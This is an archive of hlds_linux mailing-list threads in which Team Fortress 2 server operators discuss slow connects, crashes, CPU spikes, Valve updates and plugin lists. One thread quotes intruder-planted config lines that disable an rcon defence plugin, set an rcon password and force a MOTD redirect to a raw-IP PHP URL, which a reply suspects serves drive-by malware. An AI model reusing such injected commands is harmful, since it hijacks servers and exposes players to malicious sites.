12 Fun Commands X (2.2) by Spazman0 and Arg!
13 Basic Comm Control (1.4.7-dev) by AlliedModders LLC
14 SourceMod Radio (1.0.0.13) by dubbeh
15 MySQL Server Configs  Logging (1.1) by MoggieX
16 Bonus Round Immunity (1.1.0) by Antithasys
17 AFK Manager (3.4.3) by Rothgar
18 Web Shortcuts (1.1) by Kyle Sanderson, Nicholas Hastings
19 Simple Chat Colors (2.0.0) by Simple Plugins
20 Donator Recognition (1.3a) by Nut
21 Simple Chat Processor (1.0.1) by Simple Plugins
22 Nextmap (1.4.7-dev) by AlliedModders LLC
23 Admin Help (1.4.7-dev) by AlliedModders LLC
24 SourceBans (1.4.8) by SourceBans Development Team
25 Admin Menu (1.4.7-dev) by AlliedModders LLC
26 Reserved Slots (1.4.7-dev) by AlliedModders LLC
27 Basic Chat (1.4.7-dev) by AlliedModders LLC
28 Sourcebans Checker (1.0.0) by psychonic  Ca$h Munny
29 Basic Info Triggers (1.4.7-dev) by AlliedModders LLC
30 Client Preferences (1.4.7-dev) by AlliedModders LLC
31 Spray Tracer (5.8a) by Nican132, CptMoore, Lebson506th
32 Anti-Flood (1.4.7-dev) by AlliedModders LLC
33 Player Warnings (1.0.8) by Twisted|Panda
34 Basic Commands (1.4.7-dev) by AlliedModders LLC
35 Admin File Reader (1.4.7-dev) by AlliedModders LLC
36 [TF2] Second MOTD (1.0) by Powerlord

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Re: [hlds_linux] Long connects/disconnects?

2013-03-17 Thread Bjorn Wielens
That might well be it. Makes sense on connect since you need to verify 
checksums and whatnot, but I didn't suspect it since there's also a longer 
disconnect.

Thanks. 

On a related note, does sv_pure 1 have much effect on deterring/preventing 
texture hacks or is it one of those things that's more hassle than its worth 
(as in hackers gonna hack and sv_pure won't stop them)?.

Thanks.




- Original Message -
From: Denis Eliseev lisee...@yandex.ru
To: Bjorn Wielens uniac...@yahoo.ca; Half-Life dedicated Linux server mailing 
list hlds_linux@list.valvesoftware.com
Cc: 
Sent: Sunday, March 17, 2013 11:47:24 AM
Subject: Re: [hlds_linux] Long connects/disconnects?

I think that this problem is with sv_pure 1 (Do you have it set to 1?). My two 
CSS servers and friendly TF2 servers have this problem too. But on my CSS 
server that have sv_pure 0 connects/disconnects are fast.

17.03.2013, 17:05, Bjorn Wielens uniac...@yahoo.ca:
 Just curious whether anyone has found this to be an issue. I've received 
 reports that our servers take a long time to connect, and the same with 
 disconnects. Connects usually hang at the usual at 'retrieving server info' 
 or 'sending client info'.

 I've tried searching for results before, but everything is swamped with 'it's 
 a client side issue, defrag your cache'. However, the reports say that it 
 only happens on our servers.

 I was hoping someone here might have some suggestions or ideas as to what 
 would cause this?

 Standard TF2 servers on CentOS, with Sourcemod/Metamod.
 Plugins as follows:

 01 [TF2] gScramble Team Manager (3.0.11) by Goerge
 02 Sound Commands (1.4.7-dev) by AlliedModders LLC
 03 Extended Mute (1.2.2-B) by Twisted|Panda (Orig: FLOOR_MASTER)
 04 Anti Color Abuse (1.0.0) by 11530
 05 Fun Commands (1.4.7-dev) by AlliedModders LLC
 06 Basic Votes (1.4.7-dev) by AlliedModders LLC
 07 HLstatsX CE Ingame Plugin (1.6.19) by psychonic
 08 Player Commands (1.4.7-dev) by AlliedModders LLC
 09 SuperLogs: TF2 (2.0.32) by Thomas CmptrWz Berezansky  psychonic
 10 Fun Votes (1.4.7-dev) by AlliedModders LLC
 11 Advertisements (0.5.5) by Tsunami
 12 Fun Commands X (2.2) by Spazman0 and Arg!
 13 Basic Comm Control (1.4.7-dev) by AlliedModders LLC
 14 SourceMod Radio (1.0.0.13) by dubbeh
 15 MySQL Server Configs  Logging (1.1) by MoggieX
 16 Bonus Round Immunity (1.1.0) by Antithasys
 17 AFK Manager (3.4.3) by Rothgar
 18 Web Shortcuts (1.1) by Kyle Sanderson, Nicholas Hastings
 19 Simple Chat Colors (2.0.0) by Simple Plugins
 20 Donator Recognition (1.3a) by Nut
 21 Simple Chat Processor (1.0.1) by Simple Plugins
 22 Nextmap (1.4.7-dev) by AlliedModders LLC
 23 Admin Help (1.4.7-dev) by AlliedModders LLC
 24 SourceBans (1.4.8) by SourceBans Development Team
 25 Admin Menu (1.4.7-dev) by AlliedModders LLC
 26 Reserved Slots (1.4.7-dev) by AlliedModders LLC
 27 Basic Chat (1.4.7-dev) by AlliedModders LLC
 28 Sourcebans Checker (1.0.0) by psychonic  Ca$h Munny
 29 Basic Info Triggers (1.4.7-dev) by AlliedModders LLC
 30 Client Preferences (1.4.7-dev) by AlliedModders LLC
 31 Spray Tracer (5.8a) by Nican132, CptMoore, Lebson506th
 32 Anti-Flood (1.4.7-dev) by AlliedModders LLC
 33 Player Warnings (1.0.8) by Twisted|Panda
 34 Basic Commands (1.4.7-dev) by AlliedModders LLC
 35 Admin File Reader (1.4.7-dev) by AlliedModders LLC
 36 [TF2] Second MOTD (1.0) by Powerlord

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Re: [hlds_linux] Remote connection with rcon

2013-01-03 Thread Bjorn Wielens
Interesting. I was under the impression that RCON can't make permanent server 
config changes (i.e. write to config files) - I thought it was only limited to 
being able to change current cvars in memory, which would be wiped the next 
time a config changes them.

Have I got that wrong?

If not, I'd suspect the attack vector is probably not via RCON... more likely 
an exploit via a file upload mechanism or so (sprays?) to get the malicious 
.cfg there in the first place.
Sadly the redirected URL doesn't respond for me, so I can't take a look and see 
what they were attempting to do with it. (more than likely a drive-by malware 
install or something).







 From: Collin Howard my_azz...@yahoo.com
To: Half-Life dedicated Linux server mailing list 
hlds_linux@list.valvesoftware.com 
Sent: Wednesday, January 2, 2013 3:23:33 PM
Subject: Re: [hlds_linux] Remote connection with rcon
 
Looks like there might be a new exploit or hack. Somehow, someone was able to 
create a maps folder in my amxmodx config folder and create map specific cfg 
files and added the following lines to it:

amxx pause rcon_defencer.amxx
rcon_password 56425642
motdfile motd.txt
motd_write META HTTP-EQUIV=Refresh CONTENT=0 
URL=http://78.110.63.117//abunaimo.php?jecttely=674660;

I dont use ftp on the box, only access to the box is via ssh and the ssh port 
is a completely random port and the password is 25+ character completely random 
password. So I dont think anyone could have gained access to the box directly 
to do this. Is there a known exploit or hack that does this? This was done with 
only one HLDS setup on the box while the other HLDS setups were not effected. 
These files are what were causing my issue of not being able to remotely 
connect with the rcon specified in server.cfg




From: Ken Bateman novadeni...@gmail.com
To: Collin Howard my_azz...@yahoo.com; Half-Life dedicated Linux server 
mailing list hlds_linux@list.valvesoftware.com 
Sent: Tuesday, January 1, 2013 1:43:32 AM
Subject: Re: [hlds_linux] Remote connection with rcon





On Tue, Jan 1, 2013 at 1:15 AM, Collin Howard my_azz...@yahoo.com wrote:

From the looks of it, server.cfg is not automatically executing when the map 
changes and even when I restart the hlds. Anyone have a clue on whats going 
on? Doing exec server.cfg in console executed the config file and rcon started 
working. Any ideas?


Is servercfgfile set to server.cfg?  Is it being set to something different 
on the command line or in autoexec.cfg?

-Ken
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Re: [hlds_linux] Once Again Valve Doesn't Care About Server Owners

2012-12-28 Thread Bjorn Wielens
I think the point that's trying to be made in this thread is that when running 
servers we shouldn't _have_ to rely on stopgaps like this. It's great the 
sourcemod/alliedmods community exists for these sorts of things, but is that 
really something server ops should have to end up installing Sourcemod and 
Metamod to fix? 

I propose a solution to Valve: For each new cosmetic item that is added from 
this date onward, they must also fix an outstanding TF2 bug or pick a function 
and optimize it. TF2 would be running smoother than greased lightning in about 
half a year or so, don't you think?







 From: Harsh Baid harshbai...@gmail.com
To: hlds_linux@list.valvesoftware.com 
Sent: Friday, December 28, 2012 2:38:01 PM
Subject: Re: [hlds_linux] Once Again Valve Doesn't Care About Server Owners
 
I have a solution for the Item Server problems that many server owners deal
with. The Item Server as of now isn't very reliable which is why i have a
Local Item Server Mod installed on my servers. Here is the link:

http://forums.alliedmods.net/showthread.php?p=1747762

This will basically cache the item server of the user and when the item
server goes down, the users weapons do not. This works really well and i
dont see players complain anymore that my servers Item Server is not
working. I suggest you guys try this mod out because it
is absolutely wonderful.
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Re: [hlds_linux] Once Again Valve Doesn't Care About Server Owners

2012-12-28 Thread Bjorn Wielens
If your response is directed at me, please don't put words in my mouth. Nowhere 
in my message am I demanding for an immediate fix. It's simply an observation 
as to the current state of things and higher priority of adding cosmetics to 
fixing functionality.





 From: Benedict Glover neobened...@hotmail.co.uk
To: hlds_linux@list.valvesoftware.com 
Sent: Friday, December 28, 2012 7:33:51 PM
Subject: Re: [hlds_linux] Once Again Valve Doesn't Care About Server Owners
 

*sigh*

Why don't you try making a fix then? Here's the entire TF2 code, all 100,000 
lines or so of it, now find why the item server isn't working and fix it NOW, 
not later, I don't want it tested for other bugs, I don't want it put on a 
release schedule, I want a fix NOW. Of course I'm not going to give you any 
leads, all I can say is the item server doesn't work.

 Date: Fri, 28 Dec 2012 12:32:14 -0800
 From: uniac...@yahoo.ca
 To: hlds_linux@list.valvesoftware.com
 Subject: Re: [hlds_linux] Once Again Valve Doesn't Care About Server Owners
 
 I think the point that's trying to be made in this thread is that when 
 running servers we shouldn't _have_ to rely on stopgaps like this. It's great 
 the sourcemod/alliedmods community exists for these sorts of things, but is 
 that really something server ops should have to end up installing Sourcemod 
 and Metamod to fix? 
 
 I propose a solution to Valve: For each new cosmetic item that is added from 
 this date onward, they must also fix an outstanding TF2 bug or pick a 
 function and optimize it. TF2 would be running smoother than greased 
 lightning in about half a year or so, don't you think?
 
 
 
 
 
 
 
  From: Harsh Baid harshbai...@gmail.com
 To: hlds_linux@list.valvesoftware.com 
 Sent: Friday, December 28, 2012 2:38:01 PM
 Subject: Re: [hlds_linux] Once Again Valve Doesn't Care About Server Owners
  
 I have a solution for the Item Server problems that many server owners deal
 with. The Item Server as of now isn't very reliable which is why i have a
 Local Item Server Mod installed on my servers. Here is the link:
 
 http://forums.alliedmods.net/showthread.php?p=1747762
 
 This will basically cache the item server of the user and when the item
 server goes down, the users weapons do not. This works really well and i
 dont see players complain anymore that my servers Item Server is not
 working. I suggest you guys try this mod out because it
 is absolutely wonderful.
 ___
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 visit:
 https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
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[hlds_linux] Client Crash out on map change?

2012-12-24 Thread Bjorn Wielens
I'm getting reports from players that their clients are crashing out on map 
change.
The server log reports nothing unusual apart from that the client timed out 
(which I assume is because it wasn't a clean disconnect and it failed to reply 
within the server's time window).

The weird thing is I've been told it only happens on our servers,  and not 
other communities, and it happens for some people and not others.

Possibly related, possibly not but I'm also noticing unusually long connect 
times (on retrieving server info) and in game from the X has connected 
message to the X joined team Y message, so it's not just my client (which has 
already had its files defragged)


Has someone experienced this before and has a solution or cause for either of 
these been found? It doesn't seem like something one would expect to be caused 
by a metamod plugin, but I can list the ones in use if requested.


Running MM:S 1.10.0-hg814-linux and   sourcemod-1.4.7-hg3603.

Thanks in advance, and apologies if this has been addressed before - but the 
archive page seems to be down and google tends to only yield tons of 
client-side fixes.
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[hlds_linux] Instability after latest update?

2012-12-20 Thread Bjorn Wielens
Has anyone noticed additional server instability since the latest update?
I'm getting 100% cpu usage hangs on non-MVM servers, nothing in the logs that 
would indicate the problem.

Running latest soucemod and Metamod snapshots, with the following plugins:

  01 [TF2] gScramble Team Manager (3.0.11) by Goerge
  02 Sound Commands (1.4.5-dev) by AlliedModders LLC
  03 Extended Mute (1.2.2-B) by Twisted|Panda (Orig: FLOOR_MASTER)
  04 Anti Color Abuse (1.0.0) by 11530
  05 Fun Commands (1.4.5-dev) by AlliedModders LLC
  06 Basic Votes (1.4.5-dev) by AlliedModders LLC
  07 HLstatsX CE Ingame Plugin (1.6.19) by psychonic
  08 [TF2] Model Manager (1.0.2) by FlaminSarge (based on Damizean's TF2 
Equipment Manager)
  09 Player Commands (1.4.5-dev) by AlliedModders LLC
  10 SuperLogs: TF2 (2.0.32) by Thomas CmptrWz Berezansky  psychonic
  11 Fun Votes (1.4.5-dev) by AlliedModders LLC
  12 Advertisements (0.5.5) by Tsunami
  13 Fun Commands X (2.2) by Spazman0 and Arg!
  14 Basic Comm Control (1.4.5-dev) by AlliedModders LLC
  15 SourceMod Radio (1.0.0.13) by dubbeh
  16 MySQL Server Configs  Logging (1.1) by MoggieX
  17 Bonus Round Immunity (1.1.0) by Antithasys
  18 AFK Manager (3.4.3) by Rothgar
  19 Web Shortcuts (1.1) by Kyle Sanderson, Nicholas Hastings
  20 Simple Chat Colors (2.0.0) by Simple Plugins
  21 Donator Recognition (1.3a) by Nut
  22 Simple Chat Processor (1.0.1) by Simple Plugins
  23 Nextmap (1.4.5-dev) by AlliedModders LLC
  24 Server Redirect Modded (1.2.1) by Bottiger, Brainstorm
  25 Admin Help (1.4.5-dev) by AlliedModders LLC
  26 SourceBans (1.4.8) by SourceBans Development Team
  27 Admin Menu (1.4.4-dev) by AlliedModders LLC
  28 Reserved Slots (1.4.5-dev) by AlliedModders LLC
  29 Basic Chat (1.4.5-dev) by AlliedModders LLC
  30 Sourcebans Checker (1.0.0) by psychonic  Ca$h Munny
  31 Basic Info Triggers (1.4.5-dev) by AlliedModders LLC
  32 Client Preferences (1.4.5-dev) by AlliedModders LLC
  33 Spray Tracer (5.8a) by Nican132, CptMoore, Lebson506th
  34 Anti-Flood (1.4.5-dev) by AlliedModders LLC
  35 Player Warnings (1.0.8) by Twisted|Panda
  36 Basic Commands (1.4.5-dev) by AlliedModders LLC
  37 Admin File Reader (1.4.5-dev) by AlliedModders LLC
  38 [TF2] Second MOTD (1.0) by Powerlord





 From: Ross Bemrose rbemr...@gmail.com
To: Eric Smith er...@valvesoftware.com 
Cc: Half-Life dedicated Win32 server mailing list 
h...@list.valvesoftware.com; 'hlds_linux@list.valvesoftware.com' 
hlds_linux@list.valvesoftware.com 
Sent: Thursday, December 20, 2012 8:14:42 PM
Subject: Re: [hlds_linux] [hlds_announce] Mandatory TF2, DoD:S, and HL2:DM 
updates released
 
Any particular reason that the TF2 Item servers are down while the 
Portal 2 (among others) item server is still up?

On 12/20/2012 6:12 PM, Eric Smith wrote:
 Sorry, we forgot part of the notes:

 - Added three new community weapons
     - The Vaccinator
     - The Loose Cannon
     - The Rescue Ranger


 -Eric



 -Original Message-
 From: hlds_announce-boun...@list.valvesoftware.com 
 [mailto:hlds_announce-boun...@list.valvesoftware.com] On Behalf Of Eric Smith
 Sent: Thursday, December 20, 2012 2:59 PM
 To: Half-Life dedicated Win32 server mailing list; 
 'hlds_linux@list.valvesoftware.com'; 'hlds_annou...@list.valvesoftware.com'
 Subject: [hlds_announce] Mandatory TF2, DoD:S, and HL2:DM updates released

 We've released mandatory updates for TF2, DoD:S, and HL2:DM.  The notes for 
 the updates are below.

 -Eric

 --

 Source Engine Changes (TF2, DoD:S, HL2:DM)
 - Updated some Big Picture features
 - Additional improvements for client stability

 Team Fortress 2
 - Australian Christmas has begun!
     - Added community-contributed winter event items
     - Added Naughty and Nice winter keys to the Mann Co. Store
 - Mann Vs. Machine
     - Added a new tour of duty with unique loot:
           - Operation Mecha Engine, with 3 new advanced skill missions
           - New map mvm_bigrock
           - New Engineer Botkiller items
     - Added new Engineer robot
 - Added new Strange Filter items to the Mann Co. Store to support community 
 map makers
 - Added new checkout dialogs and taunt-activated effect to raise awareness 
 for Community Map Stamps
 - Added +context_action command (defaults to X for controllers). This will 
 use the action slot if your Canteen contains a charge and will taunt 
 otherwise3
 - Added +attack3 command (defaults to middle-mouse button)
 - Added Adult Swim items to the Mann Co. Store
 - Fixed an exploit that allowed players to be permanently invulnerable
 - Fixed the Pyro's airblast not working correctly when facing downhill
 - Made Force-A-Nature pushback more consistent
 - Updated pl_barnblitz
     - Fixed various map exploits
 - Updated sd_doomsday
     - Fixed various map exploits
 - Updated the localization files


 ___
 hlds_announce mailing list
 hlds_annou...@list.valvesoftware.com

Re: [hlds_linux] Instability after latest update?

2012-12-20 Thread Bjorn Wielens
I'm not running TF2Items.

I've removed all but the basic sourcemod plugins and haven't had a crash since 
(knock on wood) but watching top I still see the occasional spike to 100% cpu 
usage and the server stops responding until it goes back down.






 From: PolyQuad polyq...@gmail.com
To: 'Half-Life dedicated Linux server mailing list' 
hlds_linux@list.valvesoftware.com 
Sent: Thursday, December 20, 2012 10:18:16 PM
Subject: Re: [hlds_linux] Instability after latest update?
 
Try updating TF2 Items @ http://vphysics.limetech.org/?project=tf2items


-Original Message-
From: hlds_linux-boun...@list.valvesoftware.com 
[mailto:hlds_linux-boun...@list.valvesoftware.com] On Behalf Of Scipizoa 
Sent: Thursday, December 20, 2012 6:12 PM
To: uniac...@yahoo.ca; hlds_linux@list.valvesoftware.com
Subject: Re: [hlds_linux] Instability after latest update?

I'm getting serrver crashes  and  it seems to occure when someone uses the new 
medic gun

From: Bjorn Wielens uniac...@yahoo.ca
To: Half-Life dedicated Linux server mailing list 
hlds_linux@list.valvesoftware.com
Sent: Thursday, December 20, 2012 at 8:36 pm
Subject: [hlds_linux] Instability after latest update?

Has anyone noticed additional server instability since the latest update?

I'm getting 100% cpu usage hangs on non-MVM servers, nothing in the logs that 
would indicate the problem.



Running latest soucemod and Metamod snapshots, with the following plugins:



  01 [TF2] gScramble Team Manager (3.0.11) by Goerge

  02 Sound Commands (1.4.5-dev) by AlliedModders LLC

  03 Extended Mute (1.2.2-B) by Twisted|Panda (Orig: FLOOR_MASTER)

  04 Anti Color Abuse (1.0.0) by 11530

  05 Fun Commands (1.4.5-dev) by AlliedModders LLC

  06 Basic Votes (1.4.5-dev) by AlliedModders LLC

  07 HLstatsX CE Ingame Plugin (1.6.19) by psychonic

  08 [TF2] Model Manager (1.0.2) by FlaminSarge (based on Damizean's TF2 
Equipment Manager)

  09 Player Commands (1.4.5-dev) by AlliedModders LLC

  10 SuperLogs: TF2 (2.0.32) by Thomas CmptrWz Berezansky  psychonic

  11 Fun Votes (1.4.5-dev) by AlliedModders LLC

  12 Advertisements (0.5.5) by Tsunami

  13 Fun Commands X (2.2) by Spazman0 and Arg!

  14 Basic Comm Control (1.4.5-dev) by AlliedModders LLC

  15 SourceMod Radio (1.0.0.13) by dubbeh

  16 MySQL Server Configs  Logging (1.1) by MoggieX

  17 Bonus Round Immunity (1.1.0) by Antithasys

  18 AFK Manager (3.4.3) by Rothgar

  19 Web Shortcuts (1.1) by Kyle Sanderson, Nicholas Hastings

  20 Simple Chat Colors (2.0.0) by Simple Plugins

  21 Donator Recognition (1.3a) by Nut

  22 Simple Chat Processor (1.0.1) by Simple Plugins

  23 Nextmap (1.4.5-dev) by AlliedModders LLC

  24 Server Redirect Modded (1.2.1) by Bottiger, Brainstorm

  25 Admin Help (1.4.5-dev) by AlliedModders LLC

  26 SourceBans (1.4.8) by SourceBans Development Team

  27 Admin Menu (1.4.4-dev) by AlliedModders LLC

  28 Reserved Slots (1.4.5-dev) by AlliedModders LLC

  29 Basic Chat (1.4.5-dev) by AlliedModders LLC

  30 Sourcebans Checker (1.0.0) by psychonic  Ca$h Munny

  31 Basic Info Triggers (1.4.5-dev) by AlliedModders LLC

  32 Client Preferences (1.4.5-dev) by AlliedModders LLC

  33 Spray Tracer (5.8a) by Nican132, CptMoore, Lebson506th

  34 Anti-Flood (1.4.5-dev) by AlliedModders LLC

  35 Player Warnings (1.0.8) by Twisted|Panda

  36 Basic Commands (1.4.5-dev) by AlliedModders LLC

  37 Admin File Reader (1.4.5-dev) by AlliedModders LLC

  38 [TF2] Second MOTD (1.0) by Powerlord











From: Ross Bemrose rbemr...@gmail.com

To: Eric Smith er...@valvesoftware.com

Cc: Half-Life dedicated Win32 server mailing list 
h...@list.valvesoftware.com; 'hlds_linux@list.valvesoftware.com' 
hlds_linux@list.valvesoftware.com

Sent: Thursday, December 20, 2012 8:14:42 PM

Subject: Re: [hlds_linux] [hlds_announce] Mandatory TF2, DoD:S, and HL2:DM 
updates released



Any particular reason that the TF2 Item servers are down while the

Portal 2 (among others) item server is still up?



On 12/20/2012 6:12 PM, Eric Smith wrote:

 Sorry, we forgot part of the notes:



 - Added three new community weapons

     - The Vaccinator

     - The Loose Cannon

     - The Rescue Ranger





 -Eric







 -Original Message-

 From: hlds_announce-boun...@list.valvesoftware.com 
 [mailto:hlds_announce-boun...@list.valvesoftware.com] On Behalf Of Eric Smith

 Sent: Thursday, December 20, 2012 2:59 PM

 To: Half-Life dedicated Win32 server mailing list; 
 'hlds_linux@list.valvesoftware.com'; 'hlds_annou...@list.valvesoftware.com'

 Subject: [hlds_announce] Mandatory TF2, DoD:S, and HL2:DM updates released



 We've released mandatory updates for TF2, DoD:S, and HL2:DM.  The notes for 
 the updates are below.



 -Eric



 --



 Source Engine Changes (TF2, DoD:S, HL2:DM)

 - Updated some Big Picture features

 - Additional improvements for client stability



 Team Fortress 2

 - Australian Christmas

Re: [hlds_linux] Optional TF2, DoD:S, and HL2:DM updates released

2012-12-04 Thread Bjorn Wielens
I've received a report (and verified) that the control point capture timers are 
reversed as of this update. If you are capping as BLU, the circle indicating 
progress is shown as blue being covered by red instead of vice versa (as in it 
appears RED is capping a BLU point.
I've also been told that cloak meters for spy watches are reversed, but have 
been unable to verify/duplicate that.

Has anyone else seen similar issues?






 From: Eric Smith er...@valvesoftware.com
To: 'h...@list.valvesoftware.com' h...@list.valvesoftware.com; 
'hlds_linux@list.valvesoftware.com' hlds_linux@list.valvesoftware.com; 
'hlds_annou...@list.valvesoftware.com' hlds_annou...@list.valvesoftware.com 
Sent: Tuesday, December 4, 2012 4:25:24 PM
Subject: [hlds_linux] Optional TF2, DoD:S, and HL2:DM updates released
 
We've released optional (for dedicated servers) updates for Team Fortress 2, 
Day of Defeat: Source, and Half-Life 2: Deathmatch. The notes for the updates 
are below. These updates do not affect dedicated servers.

-Eric

--

Source Engine Changes (TF2, DoD:S, HL2:DM)
- Updated to support Big Picture mode

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Re: [hlds_linux] Optional TF2, DoD:S, and HL2:DM updates released

2012-12-04 Thread Bjorn Wielens
Should add that this is a client-side issue, Whether or not the server has been 
updated has no effect.



 From: Bjorn Wielens uniac...@yahoo.ca
To: Half-Life dedicated Linux server mailing list 
hlds_linux@list.valvesoftware.com 
Sent: Tuesday, December 4, 2012 8:12:10 PM
Subject: Re: [hlds_linux] Optional TF2, DoD:S, and HL2:DM updates released
 
I've received a report (and verified) that the control point capture timers are 
reversed as of this update. If you are capping as BLU, the circle indicating 
progress is shown as blue being covered by red instead of vice versa (as in it 
appears RED is capping a BLU point.
I've also been told that cloak meters for spy watches are reversed, but have 
been unable to verify/duplicate that.

Has anyone else seen similar issues?






From: Eric Smith er...@valvesoftware.com
To: 'h...@list.valvesoftware.com' h...@list.valvesoftware.com; 
'hlds_linux@list.valvesoftware.com' hlds_linux@list.valvesoftware.com; 
'hlds_annou...@list.valvesoftware.com' hlds_annou...@list.valvesoftware.com 
Sent: Tuesday, December 4, 2012 4:25:24 PM
Subject: [hlds_linux] Optional TF2, DoD:S, and HL2:DM updates released

We've released optional (for dedicated servers) updates for Team Fortress 2, 
Day of Defeat: Source, and Half-Life 2: Deathmatch. The notes for the updates 
are below. These updates do not affect dedicated servers.

-Eric

--

Source Engine Changes (TF2, DoD:S, HL2:DM)
- Updated to support Big Picture mode

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Re: [hlds_linux] [hlds] Optional TF2, DoD:S, and HL2:DM updates released

2012-12-04 Thread Bjorn Wielens
I'd suspect optional, given that it is entirely a client-side issue.





 From: Jason pctool...@gmail.com
To: Half-Life dedicated Win32 server mailing list h...@list.valvesoftware.com 
Sent: Tuesday, December 4, 2012 8:42:29 PM
Subject: Re: [hlds] [hlds_linux] Optional TF2, DoD:S, and HL2:DM updates 
released
 

So is this update coming up going to end up being mandatory or still considered 
optional (for dedicated servers)?



On Tue, Dec 4, 2012 at 7:18 PM, wickedplayer494 . wickedplayer...@gmail.com 
wrote:

Awesome, right as I sent my message. Thanks for the info.



On Tue, Dec 4, 2012 at 6:16 PM, Eric Smith er...@valvesoftware.com wrote:

We have a fix that we'll be releasing soon.

-Eric



-Original Message-
From: hlds_linux-boun...@list.valvesoftware.com 
[mailto:hlds_linux-boun...@list.valvesoftware.com] On Behalf Of Ross Bemrose
Sent: Tuesday, December 04, 2012 4:14 PM
To: Bjorn Wielens; Half-Life dedicated Linux server mailing list; Half-Life 
Windows dedicated server mailing
Subject: Re: [hlds_linux] Optional TF2, DoD:S, and HL2:DM updates released

Reports on Reddit are noting that a lot of timer-like things are playing 
animations backwards, such as the cloak meter on the face of the various Spy 
watches.

On 12/4/2012 7:12 PM, Bjorn Wielens wrote:
 I've received a report (and verified) that the control point capture timers 
 are reversed as of this update. If you are capping as BLU, the circle 
 indicating progress is shown as blue being covered by red instead of vice 
 versa (as in it appears RED is capping a BLU point.
 I've also been told that cloak meters for spy watches are reversed, but 
 have been unable to verify/duplicate that.

 Has anyone else seen similar issues?





 
   From: Eric Smith er...@valvesoftware.com
 To: 'h...@list.valvesoftware.com' h...@list.valvesoftware.com;
 'hlds_linux@list.valvesoftware.com'
 hlds_linux@list.valvesoftware.com;
 'hlds_annou...@list.valvesoftware.com'
 hlds_annou...@list.valvesoftware.com
 Sent: Tuesday, December 4, 2012 4:25:24 PM
 Subject: [hlds_linux] Optional TF2, DoD:S, and HL2:DM updates released

 We've released optional (for dedicated servers) updates for Team Fortress 
 2, Day of Defeat: Source, and Half-Life 2: Deathmatch. The notes for the 
 updates are below. These updates do not affect dedicated servers.

 -Eric

 --

 Source Engine Changes (TF2, DoD:S, HL2:DM)
 - Updated to support Big Picture mode

 ___
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 please visit:
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[hlds_linux] TF2 Logging of Jarate events

2012-12-01 Thread Bjorn Wielens
Has the logging of jarate with log onbeen changed at some point?

I still see log entries for players being extinguished with jarate 
(tf_weapon_jar), but no entries for a player hitting an opponent with jarate.
As a result, it doesn't seem to be logged for HLStats.

(Or am I completely out in left field here?)



Thanks.
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Re: [hlds_linux] TF2 empty servers

2012-11-24 Thread Bjorn Wielens
It seems to be really tempermental. We have servers that will be full from 
quickplay some days, and others we will get 6+ regulars in with an event and 
not one single person joins.

We also have two similar servers set up running a rotation of the more popular 
maps (per TF2Stats). Some days, one of them fills and the other does not, other 
days, the other one will fill and not a single person connects to #1.

It's frustrating and while I would like a little more certainty out of QP, the 
bare fact seems to be a mix of:
1. People just don't want to play that map mode
2. There is simply no way you're going to fill everyone's server if you have 
17000 servers with 66000 players (http://tf2stats.net/servers/). That's 3 
people a server. TF2 is simply over-saturated with servers.




 From: Miika miikalaak...@hotmail.com
To: hlds_linux@list.valvesoftware.com 
Sent: Saturday, November 24, 2012 4:29:54 PM
Subject: Re: [hlds_linux] TF2 empty servers
 
It’s really strange. All of my servers are on Good standing and have been 
extremely popular for a long time, but now my servers have completely stopped 
gaining Quickplay traffic.

I’ve seen many of my servers getting to 12 players but they still fail to 
receive any players from quickplay. I even have the beta quickplay enabled on 
the servers, but makes no difference.

I did notice a drop on amount of players in TF2 when the new CoD was released, 
but now it seems that the player count has somewhat stabilized. Still no 
quickplay traffic though.
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Re: [hlds_linux] Servers still getting stuck, freezing, 100% CPU.

2012-11-17 Thread Bjorn Wielens
New in the Mann Co Store: Bugfixes! LOL

Anyway, that's something that's been said a lot and many times - we need an 
update that does a major optimization of everything - I mean everything. 
performance, netcode, etc.

Unless things are _VERY_ well thought out from the start, it's difficult to 
keep adding new features and content to a piece of software without running 
into hacks and performance problems that were not initially anticipated, and 
now we're really starting to see it in TF2.


Speaking of performance, has anyone had success with 32 man servers recently? 
They used to be one of our most popular servers until they became CPU-eating 
beasts that would bring the box to its knees.

Thanks.




 From: Sampson Rogers kritskring...@gmail.com
To: Half-Life dedicated Linux server mailing list 
hlds_linux@list.valvesoftware.com 
Sent: Saturday, November 17, 2012 3:04:53 PM
Subject: Re: [hlds_linux] Servers still getting stuck, freezing, 100% CPU.
 
Map bugs are indeed a big deal but at least they can be worked around in a
few different ways. Internal issues, crashing issues, we really can't work
around. I just wished they would stop adding extra stuff to this game until
it's in a relatively free crash state. I know it won't happen, because they
have things to sell on the Mann Co Store, but I sure wish it would. I know
we weren't forced in to running servers but it's just sad the number of
things we have to go through to provide a free gaming service to our
community and passer-bys.

On Sat, Nov 17, 2012 at 2:01 PM, ics i...@ics-base.net wrote:

 It's odd how some simple things take a lot of time to fix. They prioritize
 but looks to me like some random selection. I'm not saying the issues
 brought up here are easy to fix but some are. It's like few changes and
 then it's done but so difficult for them to do from the looks of it.

 Good example are the map flaws such as staircases not being smooth to walk
 on, map bugs, invalid textures and such. I know they require map to be
 recompiled and redistributed but applying a fix for a simple thing like
 preventing teleport built to certain area is so easy to do in hammer, in
 many ways. It's the minor things they miss, but some of those are important
 to us to get done - and usually as fast as possible. I know several other
 issues with maps that keep getting people stuck (not alone from teleports)
 and similiar but i know those won't get fixed as they have enough things to
 do anyway.

 I reported one flaw in one of the maps 1,5 months ago. I got reply it will
 be forwarded to TF2 team. Then i asked around, reported it again to a
 different person and  i got reply someone will look into it. 2 weeks since
 i reported it for second time has passed and still not fixed. People keep
 building teleports to that spot to trap people inside the fence
 occasionally on our servers. Obviously it is marked low priority in the
 queue. A fix that i could do in a minute (+ map compile time). I don't want
 to go there since everyone would have to redownload the map with different
 name and then no quickplay and tons of problems. Maybe next week, maybe.

 -ics

 17.11.2012 19:26, scipi...@aol.com kirjoitti:

  Thats because we're all on 'valve time' my friend. It took them years to
 fix alot of issues in l4d2 lol

 Sent from my Verizon Wireless 4G LTE DROID

 Sampson Rogers kritskring...@gmail.com wrote:

  The problem just needs to be addressed, point blank. It is utterly
 ridiculous that some of these problems have persisted for so long.

 Some of them requiring specific plugins/extensions to fix, such as this:

 https://forums.alliedmods.net/**showthread.php?p=1770836https://forums.alliedmods.net/showthread.php?p=1770836

 I know I didn't provide details, but that's because I don't have any. It
 happens at random and nothing is ever logged. The server doesn't crash,
 it
 just freezes.

 On Sat, Nov 17, 2012 at 12:17 PM, ics i...@ics-base.net wrote:

  Only gain is the free of memory. I have 2 machine from which 2 servers
